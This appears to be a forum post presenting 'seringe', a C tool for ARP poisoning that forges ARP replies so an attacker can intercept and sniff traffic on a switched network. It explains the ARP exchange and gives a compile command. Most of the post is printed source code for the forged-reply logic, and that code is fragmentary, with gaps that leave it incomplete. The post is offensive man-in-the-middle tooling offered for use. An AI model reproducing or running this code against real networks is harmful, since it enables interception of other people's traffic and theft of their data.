Seringe is a tool that intercepts ARP requests and replies with his own hardware address. This is done to "sniff" traffic on a switched network where traditional "sniffers" fail.
ARP poisoning is nothing new, it has been around, and implemented many times in several tools, for example: ettercap and dsniff. While being more stealth than just tools that "flood" the network with many ARP-replies, updating machines ARP cache, seringe will update only ARP caches of machines requesting arp addresses. Other, "flooding" tools can be easily detected by NIDS's or by looking at tcpdump output, such as the following excerpt:
In order to communicate over ethernet, a network card needs to know the hardware address of the target interface. To achieve this addresses ARP (address resolution protocol) is used. ARP is a simple, lightweight protocol. To get the mac address of the target, the following sequence happens: Host A needs to know the hardware address (mac address) of host B. And assume that A's ip address is 10.0.0.1 and B's ip address is 10.0.0.2. 1. Host A sends a broadcast packet requesting the mac addr of B 2. B responds with his IP address and his mac address 3. A knows where to sent packets over ethernet to reach B
Now, what seringe does is taking over step 2, and sending host A a fake hardware address for host B. A will think that B is at the "fake" mac address and sent packets to this mac address, thinking it is B. By this, an attacker can capture and record the packets and forward 'em to the real B host.
Compiling: To compile seringe, you need a Linux machine. Seringe has been tested successfully on Linux, running kernel 2.4.20 and 2.6.0. To compile seringe: gcc seringe.c -o seringe
QUOTE
Source Code: //seringe.c /* seringe v0.2: arp injector and redirector Copyright 2003,2004 - Michael Hendrickx (michael@scanit.be)
intercepts arp requests, sends "own" mac address (or -m arg). Without libnet, libpcap or any other libraries.. made during a security audit when i had no access to these libraries.
//clean shutdown of the program void cleanup(int sig){ if(sockfd>0) close(sockfd); if(logfd>0) fclose(logfd); if(ppacket) free(ppacket); // save the whales, free the malloc()s fprintf(stdout, "\nseringe terminated with signal %d\n", sig); fprintf(stdout, "%d arp requests \"fullfilled\"\n", counter); exit(sig); }
void usage(char *p){ fprintf(stderr, "usage: %s [-vhp] [-l < file>] [-i < iface>] [-f < addr>] [-m < addr>]\n", p); fprintf(stderr, "where: -l < file> : log activity to < file>\n"); fprintf(stderr, " -i < iface> : which interface to use (default: %s)\n", IFACE); fprintf(stderr, " -f < addr> : only \"poison\" this machine (hwaddr)\n"); fprintf(stderr, " -m < addr> : send this hwaddr instead of own mac addr\n"); fprintf(stderr, " -p : don't put interface in promiscious mode\n"); fprintf(stderr, " -h : this screen\n"); fprintf(stderr, " -v : verbosity\n"); fprintf(stderr, "\nnote: use this tool with responsibility\n"); exit(1); }
// gets hwaddr of *iface void getmymac(unsigned char *iface, unsigned char *hwaddr){ struct ifreq ifr; signed int tmpsock;
unsigned int handle(struct packet *input, unsigned char filter[ETH_ALEN]){
// if we are filtering, other packets should be dropped if(memcmp(filter, ETH_NULL, 6)) if(memcmp(input->ethhdr.h_source, filter, ETH_ALEN)) return 0;
// everything that is not a ethernet broadcast should be denied if(memcmp(input->ethhdr.h_dest, ETH_BCAST, ETH_ALEN)) return 0; // (also for passing?)
// if it is not an normal arp request, drop it if(input->ethhdr.h_proto != htons(ETH_P_ARP)) return 0; if(input->arphdr.arp_hrdad != htons(ARPHRD_ETHER)) return 0; if(input->arphdr.arp_prot != htons(ETH_P_IP)) return 0; if(input->arphdr.arp_opcode != htons(ARPOP_REQUEST)) return 0;
// copy our mac addr as mac addr of "requested ip" memcpy(output->arphdr.ar_sha, hwaddr, ETH_ALEN);
// but use "his" ip address. memcpy(output->arphdr.ar_sip, input->arphdr.ar_tip, 4);
// dest = the machine who wanted the info memcpy(output->arphdr.ar_tha, input->arphdr.ar_sha, ETH_ALEN); memcpy(output->arphdr.ar_tip, input->arphdr.ar_sip, 4);
// sent the packet, three times, to not be overwritten by slower, real hosts
int main(int argc, char *argv[], char *envp[]){ // variables signed int c; // getopt unsigned char *logfn = "", // logfile *iface = "", // which interface hwaddr[IFHWADDRLEN],// 6char macaddr filaddr[IFHWADDRLEN] = { 0x0 }, // if we should filter, filter on this one flmyhw = 0, // flag for own hardware addr flprom = 1; // flag to set interface in prom mode struct sockaddr_ll sll = { 0x0 }; // lowlevel interface stuff